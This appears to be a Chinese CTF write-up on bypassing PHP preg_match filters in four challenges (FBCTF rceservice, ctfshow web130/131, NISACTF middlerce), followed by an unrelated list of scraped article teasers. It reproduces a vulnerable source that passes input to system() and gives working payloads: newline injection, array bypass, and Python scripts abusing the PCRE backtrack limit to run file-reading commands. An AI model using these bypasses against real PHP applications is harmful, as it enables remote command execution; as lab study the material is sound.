【Web】preg_match繞過相關例題wp

目錄

①[FBCTF 2019]rceservice

②[ctfshow]web130

③[ctfshow]web131

④[NISACTF 2022]middlerce?


簡單回顧一下基礎

參考文章

p牛神文?

preg_match繞過總的來講就三塊可利用

數組繞過、PCRE回溯次數限制、換行符?

①[FBCTF 2019]rceservice

先貼出附件給的源碼

<html><body><h1>Web Adminstration Interface</h1><?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?><form>Enter command as JSON:<input name="cmd" /></form></body>
</html>

先進行一個命令的輸

{"cmd":"ls"}

?

這里用%0a繞過preg_match?

?{%0a"cmd":"ls /home/rceservice"%0a}

?

因為putenv('PATH=/home/rceservice/jail');修改了環境變量,所以只能使用絕對路徑使用cat命令,cat命令在/bin文件夾下

系統命令需要有特定的環境變量的也就是路徑,系統找不到該路徑下的exe文件無法執行系統命令,因此這個地方查閱資料后發現只能調用絕對路徑下的命令,cat命令就在/bin/目錄下面

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

?

?或者用PCRE回溯次數限制

import requestsurl = "http://node4.anna.nssctf.cn:28428/"
data = {'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text #使用post方法請求,get方法會因為請求頭過大而報錯
print(r)

?

?

②[ctfshow]web130

preg_match():其中的‘.’代表著匹配前面的單個字符,‘+’代表匹配一次或者是多次,‘+?’代表重復一次或者多次,盡可能的少重復;(大概就是匹配到*ctfshow,*代表任意字符,就會返回true)

stripos()函數:不區分大小寫,返回子串在字符串中第一次出現的位置,位置是從0開始的;沒有查找到,返回FALSE,stripos函數對于傳遞數組情況下,返回值為NULL,NULL!=FALSE

payload1:

f[]=1

?payload2:

import requestsurl = 'http://aec6932e-6362-4305-a31f-d8e5bcf75925.challenge.ctf.show/'
data = {'f': 'very' * 250000 + 'ctfshow'
}
r = requests.post(url=url, data=data).text
print(r)

③[ctfshow]web131

?

這里和上題不同的是對$f先進行了一個String強制類型轉換

具體見此文

意思就是不能用數組繞過了

所以用用PCRE回溯次數限制

payload:

import requestsurl = 'http://c061faf3-dfef-42c6-8dd4-f223a635b59c.challenge.ctf.show/'
data = {'f': 'very' * 250000 + '36Dctfshow'
}r = requests.post(url=url, data=data).text
print(r)

④[NISACTF 2022]middlerce?

(和題①不能說一模一樣只能說是如出一轍?)

payload:

import requests
url = "http://node4.anna.nssctf.cn:28848/"
# 直接構造json串
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
res = requests.post(url=url,data={"letter":data})
print(res.text)

?(因為有一些waf,所以這樣構造,這里不深入討論)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/161274.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/161274.shtml
英文地址,請注明出處:http://en.pswp.cn/news/161274.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

使用electron工具打包web端到PC端應用程序

根據electron官網快速入門示例可以方便的構建mac端包&#xff0c;我們在此基礎上構建windows端exe包. 1在package.json文件的script字段增加以下配置 "scripts": {..."build": "electron-builder --win"}, 2然后在終端執行以下命令 npm run b…

Modbus TCP

Modbus &#xff08;&#x1f446; 百度百科&#xff0c;放心跳轉&#xff09; 起源 Modbus 由 Modicon 公司于 1979 年開發&#xff0c;是一種工業現場總線協議標準。 Modbus 通信協議具有多個變種&#xff0c;支持串口&#xff0c;以太網多個版本&#xff0c;其中最著名的…

基于STM32的數字圖像處理與模式識別算法優化

基于STM32的數字圖像處理與模式識別算法優化是一項涉及圖像處理和機器學習領域的研究任務&#xff0c;旨在實現高效的圖像處理和模式識別算法在STM32微控制器上的運行。本文將介紹基于STM32的數字圖像處理與模式識別算法優化的原理和實現步驟&#xff0c;并提供相應的代碼示例。…

圖神經網絡與圖注意力網絡

隨著計算機行業和互聯網時代的不斷發展與進步&#xff0c;圖神經網絡已經成為人工智能和大數據的重要研究領域。圖神經網絡是對相鄰節點間信息的傳播和聚合的重要技術&#xff0c;可以有效地將深度學習的理念應用于非歐幾里德空間的數據上。本期推送圍繞圖神經網絡與圖注意力網…

dockerfile多階段構建

我理解多階段構建 多階段構建就是為了鏡像更小更容易維護&#xff0c;易讀&#xff0c;最終從一個階段的核心內容復制到另一個階段&#xff0c;而不必需要那些非核心的內容。 舉例說明 FROM registry.cn-hangzhou.aliyuncs.com/2qqq/node:14 as build COPY ./app WORKDIR /app…

RK3588平臺開發系列講解(嵌入式AI篇)嵌入式AI模型的部署

文章目錄 一、嵌入式AI模型的部署二、AI模型訓練框架有哪些三、rknn-toolkit可支持轉換的模型沉淀、分享、成長,讓自己和他人都能有所收獲!?? ?? 本篇將給大家介紹嵌入式AI模型的部署。 一、嵌入式AI模型的部署 模型的部署,是指將訓練好的模型放到運行環境中進行推理的…

【11月比賽合集】48場可報名的數據挖掘大獎賽,任君挑選!

CompHub[1] 實時聚合多平臺的數據類(Kaggle、天池…)和OJ類(Leetcode、牛客…&#xff09;比賽。本賬號會推送最新的比賽消息&#xff0c;歡迎關注&#xff01; 以下信息僅供參考&#xff0c;以比賽官網為準 目錄 Kaggle&#xff08;9場比賽&#xff09;阿里天池&#xff08;…

PHP curl常見CURLESSLCACERT (60)錯誤及get,post實例

常見的 CURLE_SSL_CACERT (60) 錯誤&#xff0c; 解決辦法&#xff1a; 從 https://curl.haxx.se/ca/cacert.pem (opens new window)下載最新的 可直接下載2022 年 3 月 22 日 配置 php.ini 文件&#xff0c;搜索 [curl] &#xff0c;在下方添加 curl.cainfo "D:\php…

HarmonyOS(三)—— 應用程序入口—UIAbility

前言 學習過android的同學都是知道Activity&#xff0c;Activity是Android組件中最基本也是最為常見用的四大組件之一&#xff0c;用戶可以用來交互為了完成某項任務。 Activity中所有操作都與用戶密切相關&#xff0c;是一個負責與用戶交互的組件&#xff0c;可以通過setCon…

10個容易被忽視的FastAPI實用功能

大家好&#xff0c;FastAPI是一種現代、高性能的Python Web框架&#xff0c;用于構建Web應用程序和API。它基于Python的異步編程庫asyncio和await語法&#xff0c;以及類型注解和自動文檔生成等特性&#xff0c;提供了快速、易用和可靠的開發體驗&#xff0c;接下來本文將介紹1…

ElasticSearch之Nodes info API

查看當前集群中各節點的信息&#xff0c;執行如下命令&#xff1a; curl -X GET "https://localhost:9200/_nodes?pretty" --cacert $ES_HOME/config/certs/http_ca.crt -u "elastic:ohCxPHQBEs5*lo7F9"本接口允許指定節點和指標。 當前支持的指標&#…

機器視覺公司為什么寧愿高薪招新人,也不愿加薪留老員工?老員工特殊時間特殊照顧,新人必須常照顧

?職場常出現的“薪酬倒掛”現象。其實這是正常的職場規律&#xff0c;實際上是企業管理不得不面對的一種選擇。 很多企業寧愿老員工離職也不加薪&#xff0c;卻高薪請新員工&#xff1f;這就是職場上的鯰魚效應&#xff0c;一些高層領導認為一個企業&#xff0c;老員工好比沙…

基本的彈層,點擊彈出

<div class"role"><el-button type"primary" size"mini" click"showDialog true">添加角色</el-button></div><!--控制彈框的顯示隱藏visible .sync可以點擊X關閉彈框 --> <el-dialog width"…

Spring Cloud學習(十一)【深入Elasticsearch 分布式搜索引擎03】

文章目錄 數據聚合聚合的種類DSL實現聚合RestAPI實現聚合 自動補全拼音分詞器自定義分詞器自動補全查詢completion suggester查詢RestAPI實現自動補全 數據同步數據同步思路分析實現elasticsearch與數據庫數據同步 集群搭建ES集群創建es集群集群狀態監控創建索引庫1&#xff09…

【RocketMq系列-02】RocketMq的架構解析和高性能設計

RocketMq系列整體欄目 內容鏈接地址【一】RocketMq安裝和基本概念https://zhenghuisheng.blog.csdn.net/article/details/134486709【二】RocketMq的架構解析和高性能設計/font>https://zhenghuisheng.blog.csdn.net/article/details/134559514 RocketMq的架構解析和高性能設…

CentOS 防火墻查看已開發的端口

在CentOS上&#xff0c;你可以使用 firewall-cmd 命令來查詢當前防火墻規則&#xff0c;以查看已經開放的端口。以下是一些常見的查詢命令&#xff1a; 查詢已開啟的端口&#xff1a; sudo firewall-cmd --list-ports這將列出所有已經開啟的端口。 查詢已開啟的服務&#xf…

leetcode:520. 檢測大寫字母

一、題目&#xff1a; 鏈接&#xff1a;520. 檢測大寫字母 - 力扣&#xff08;LeetCode&#xff09; 函數原型&#xff1a;bool detectCapitalUse(char* word) 二、思路&#xff1a; 本題較為簡單&#xff0c;分為三種情況&#xff1a; 1.首字母大寫&#xff0c;其余小寫 2.首字…

外網IP和內網ip的區別

首先得先知道什么是ip地址&#xff0c;它就是唯一標識連接網絡的設備的&#xff0c;即IP地址充當了設備在網絡中的“住址”&#xff0c;使得設備能夠相互通信和交換數據。 我們常聽開發人員說外網內網&#xff0c;那么它們有什么區別呢&#xff1f; 外網可以理解為互聯網&…

RT-Thread Sensor框架使用 - 1

RT-Thread Sensor框架使用 - 1 簡介Sensor框架結構函數說明rt_device_findrt_device_openrt_device_read 簡介 使用氣體傳感器&#xff0c;對接到sensor框架中使用。 Sensor框架結構 device框架 --》sensor框架 --》具體的設備 函數說明 rt_device_find 查找設備時的名稱…

【Docker】從零開始:6.配置鏡像加速器

【Docker】從零開始&#xff1a;5.配置鏡像加速器 什么是鏡像加速器&#xff1f;為什么要配置docker鏡像加速器?常見的Docker鏡像加速器有哪些&#xff1f;如何申請Docker鏡像加速器如何配置Docker鏡像加速器 什么是鏡像加速器&#xff1f; 鏡像加速器是一個位于Docker Hub之…